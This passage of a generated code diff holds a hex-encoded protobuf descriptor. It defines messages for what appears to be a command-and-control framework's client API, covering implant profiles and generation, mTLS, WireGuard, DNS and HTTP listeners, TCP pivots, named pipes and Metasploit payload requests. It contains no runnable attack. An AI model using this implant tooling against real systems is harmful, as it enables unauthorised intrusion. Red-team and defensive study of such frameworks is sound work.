0x64, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, + 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x18, + 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, + 0x65, 0x52, 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc7, 0x01, 0x0a, + 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, + 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, + 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, + 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, + 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, + 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, + 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, + 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, + 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, + 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, + 0x50, 0x22, 0x55, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, + 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, + 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, + 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, + 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x33, 0x0a, 0x07, 0x4b, + 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, + 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, + 0x22, 0x59, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, + 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, + 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, + 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, + 0x44, 0x22, 0x9d, 0x01, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, + 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, + 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, + 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, + 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x74, 0x22, 0x22, 0x0a, 0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xae, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, + 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, + 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, + 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, + 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xf5, 0x02, 0x0a, 0x0f, + 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, + 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, + 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, + 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, + 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, + 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, + 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, + 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, + 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, + 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, + 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, + 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, + 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, + 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, + 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, + 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, + 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, + 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, + 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, + 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, + 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, + 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, + 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, + 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x22, 0x3e, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, + 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, + 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, + 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, + 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, + 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, + 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, + 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, + 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, + 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, + 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 